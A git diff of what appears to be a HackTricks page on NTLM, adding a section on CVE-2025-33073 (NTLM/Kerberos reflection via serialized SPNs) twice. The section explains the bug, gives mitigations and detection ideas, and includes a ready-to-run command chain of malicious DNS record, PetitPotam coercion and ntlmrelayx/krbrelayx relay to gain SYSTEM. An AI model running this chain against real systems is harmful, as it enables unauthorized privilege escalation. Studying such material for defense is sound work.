|
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}}
|
4 | 4 |
|
| 5 | +## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) |
| 6 | + |
| 7 | +Windows contains several mitigations that try to prevent *reflection* attacks where an NTLM (or Kerberos) authentication that originates from a host is relayed back to the **same** host to gain SYSTEM privileges. |
| 8 | + |
| 9 | +Microsoft broke most public chains with MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) and later patches, however **CVE-2025-33073** shows that the protections can still be bypassed by abusing how the **SMB client truncates Service Principal Names (SPNs)** that contain *marshalled* (serialized) target-info. |
| 10 | + |
| 11 | +### TL;DR of the bug |
| 12 | +1. An attacker registers a **DNS A-record** whose label encodes a marshalled SPN – e.g. |
| 13 | + `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` |
| 14 | +2. The victim is coerced to authenticate to that hostname (PetitPotam, DFSCoerce, etc.). |
| 15 | +3. When the SMB client passes the target string `cifs/srv11UWhRCAAAAA…` to `lsasrv!LsapCheckMarshalledTargetInfo`, the call to `CredUnmarshalTargetInfo` **strips** the serialized blob, leaving **`cifs/srv1`**. |
| 16 | +4. `msv1_0!SspIsTargetLocalhost` (or the Kerberos equivalent) now considers the target to be *localhost* because the short host part matches the computer name (`SRV1`). |
| 17 | +5. Consequently, the server sets `NTLMSSP_NEGOTIATE_LOCAL_CALL` and injects **LSASS’ SYSTEM access-token** into the context (for Kerberos a SYSTEM-marked subsession key is created). |
| 18 | +6. Relaying that authentication with `ntlmrelayx.py` **or** `krbrelayx.py` gives full SYSTEM rights on the same host. |
| 19 | + |
| 20 | +### Quick PoC |
| 21 | +```bash |
| 22 | +# Add malicious DNS record |
| 23 | +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ |
| 24 | + -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ |
| 25 | + -d 10.10.10.50 |
| 26 | + |
| 27 | +# Trigger authentication |
| 28 | +PetitPotam.py -u user -p pass -d DOMAIN \ |
| 29 | + srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL |
| 30 | + |
| 31 | +# Relay listener (NTLM) |
| 32 | +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support |
| 33 | + |
| 34 | +# Relay listener (Kerberos) – remove NTLM mechType first |
| 35 | +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support |
| 36 | +``` |
| 37 | + |
| 38 | +### Patch & Mitigations |
| 39 | +* KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). |
| 40 | +* Enforce **SMB signing** to prevent reflection even on unpatched hosts. |
| 41 | +* Monitor DNS records resembling `*<base64>...*` and block coercion vectors (PetitPotam, DFSCoerce, AuthIP...). |
| 42 | + |
| 43 | +### Detection ideas |
| 44 | +* Network captures with `NTLMSSP_NEGOTIATE_LOCAL_CALL` where client IP ≠ server IP. |
| 45 | +* Kerberos AP-REQ containing a subsession key and a client principal equal to the hostname. |
| 46 | +* Windows Event 4624/4648 SYSTEM logons immediately followed by remote SMB writes from the same host. |
| 47 | + |
| 48 | +## References |
| 49 | +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) |
| 50 | +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) |
| 51 | + |
| 52 | + |
| 53 | + |
5 | 54 | ## Basic Information
|
6 | 55 |
|
7 | 56 | In environments where **Windows XP and Server 2003** are in operation, LM (Lan Manager) hashes are utilized, although it's widely recognized that these can be easily compromised. A particular LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, indicates a scenario where LM is not employed, representing the hash for an empty string.
|
@@ -296,7 +345,53 @@ The PoC can be found in **[https://github.com/eladshamir/Internal-Monologue](htt
|
296 | 345 |
|
297 | 346 | **You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
298 | 347 |
|
299 |
| -{{#include ../../banners/hacktricks-training.md}} |
| 348 | +## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) |
| 349 | + |
| 350 | +Windows contains several mitigations that try to prevent *reflection* attacks where an NTLM (or Kerberos) authentication that originates from a host is relayed back to the **same** host to gain SYSTEM privileges. |
| 351 | + |
| 352 | +Microsoft broke most public chains with MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) and later patches, however **CVE-2025-33073** shows that the protections can still be bypassed by abusing how the **SMB client truncates Service Principal Names (SPNs)** that contain *marshalled* (serialized) target-info. |
| 353 | + |
| 354 | +### TL;DR of the bug |
| 355 | +1. An attacker registers a **DNS A-record** whose label encodes a marshalled SPN – e.g. |
| 356 | + `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` |
| 357 | +2. The victim is coerced to authenticate to that hostname (PetitPotam, DFSCoerce, etc.). |
| 358 | +3. When the SMB client passes the target string `cifs/srv11UWhRCAAAAA…` to `lsasrv!LsapCheckMarshalledTargetInfo`, the call to `CredUnmarshalTargetInfo` **strips** the serialized blob, leaving **`cifs/srv1`**. |
| 359 | +4. `msv1_0!SspIsTargetLocalhost` (or the Kerberos equivalent) now considers the target to be *localhost* because the short host part matches the computer name (`SRV1`). |
| 360 | +5. Consequently, the server sets `NTLMSSP_NEGOTIATE_LOCAL_CALL` and injects **LSASS’ SYSTEM access-token** into the context (for Kerberos a SYSTEM-marked subsession key is created). |
| 361 | +6. Relaying that authentication with `ntlmrelayx.py` **or** `krbrelayx.py` gives full SYSTEM rights on the same host. |
| 362 | + |
| 363 | +### Quick PoC |
| 364 | +```bash |
| 365 | +# Add malicious DNS record |
| 366 | +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ |
| 367 | + -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ |
| 368 | + -d 10.10.10.50 |
| 369 | + |
| 370 | +# Trigger authentication |
| 371 | +PetitPotam.py -u user -p pass -d DOMAIN \ |
| 372 | + srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL |
300 | 373 |
|
| 374 | +# Relay listener (NTLM) |
| 375 | +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support |
| 376 | + |
| 377 | +# Relay listener (Kerberos) – remove NTLM mechType first |
| 378 | +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support |
| 379 | +``` |
| 380 | + |
| 381 | +### Patch & Mitigations |
| 382 | +* KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). |
| 383 | +* Enforce **SMB signing** to prevent reflection even on unpatched hosts. |
| 384 | +* Monitor DNS records resembling `*<base64>...*` and block coercion vectors (PetitPotam, DFSCoerce, AuthIP...). |
| 385 | + |
| 386 | +### Detection ideas |
| 387 | +* Network captures with `NTLMSSP_NEGOTIATE_LOCAL_CALL` where client IP ≠ server IP. |
| 388 | +* Kerberos AP-REQ containing a subsession key and a client principal equal to the hostname. |
| 389 | +* Windows Event 4624/4648 SYSTEM logons immediately followed by remote SMB writes from the same host. |
| 390 | + |
| 391 | +## References |
| 392 | +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) |
| 393 | +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) |
| 394 | + |
| 395 | +{{#include ../../banners/hacktricks-training.md}} |
301 | 396 |
|
302 | 397 |
|
0 commit comments